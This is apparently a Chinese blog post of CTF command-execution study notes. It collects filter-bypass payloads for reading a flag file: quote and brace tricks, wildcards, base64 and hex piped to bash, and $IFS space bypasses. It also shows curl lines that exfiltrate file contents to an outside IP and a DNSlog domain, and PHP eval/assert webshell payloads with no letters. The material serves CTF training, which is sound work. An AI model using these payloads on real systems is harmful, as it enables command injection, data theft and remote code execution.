8月6日CTF命令执行训练

这篇博客详细介绍了CTF挑战中的命令执行训练,包括三个题目。第一题涉及Linux命令执行,重点是代码执行、正则匹配与Webshell构造;第二题是无回显的get传参,利用DNSlog工具;第三题需要绕过限制,通过编码技术解决。每个题目都包含具体步骤和难点解析,提供了payload实例。
摘要由CSDN通过智能技术生成

题记:
1.linux常用命令

ls                    //列明当前文件目录下内容
ls ../../../          //上翻三级目录,并列明内容
cat /flag             //打开flag文件
find / -name flag     //查找flag文件
rar x file1.rar       //解压rar包 

2.过滤关键字

?name=readfile('/f'.'lag');
//readfile文件读取
?name=$a='lag';$b='/f';readfile($b.$a);
//有的题会过滤flag顺序

1.利用空字符
c''at /f""lag
cat /fl''ag
ca\t /fl\ag
ca$@t /fl\ag
ca$9t /fl\ag
2.字符串拼接
a=c;b=at;c=/flag;$a$b $c
3.花括号
花括号可以表示固定变量名
花括号可以表示两个数组的笛卡尔积
花括号笛卡尔积绕过
{c,c}{at,at} /flag
4.利用通配符绕过非命令字符串
cat /fl[0-z]g
cat /fla*
cat /fla?
5.编码
base64 -d		base64解码
xxd -r -p 		16进制编码转换成字符
$()			会将包裹的字符作为命令
echo "Y2F0IC9mbGFn"|base64 -d|bash
echo "636174202f666c6167" | xxd -r -p|bash
$(printf  "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
`printf  "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"`

3.命令逃逸
在这里插入图片描述
4.绕过空格

1.数据流重定向
>	将左边的命令结果输出到右边的文件中,会覆盖
>>	将左边的命令结果输出到右边的文件中,在最后一行追加
<	将右边的文件的内容传递给左边的命令
cat</flag
cat<>/flag

2.已经存在的字符
$IFS对应 内部字段分隔符
cat${IFS}/flag
cat$IFS$9/flag
cat$IFS/flag

3.利用花括号的命令执行
{cat,/flag}

5.无回显

1.数据外带
利用日志、监听端口
curl 118.25.14.40:4444/`cat /flag`

2.利用DNSlog						http://ceye.io/
curl http://`cat /flag`.4vts2m.ceye.io

6.动态执行+异构

1.无字母
$_="`{
  {
  {"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=eval($_POST['cl4y']);

$_="`{
  {
  {"^"?<>/";	$_ = '_GET'
${$_}[_]				$_GET[_]
${$_}[__]				$_GET[__]
${$_}[_](${$_}[__]);	$_GET[_]($_GET[__]);

2.无字母数字
${(~%A0%B8%BA%AB)}[_](${(~%A0%B8%BA%AB)}[__]);&_=assert&__&#
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值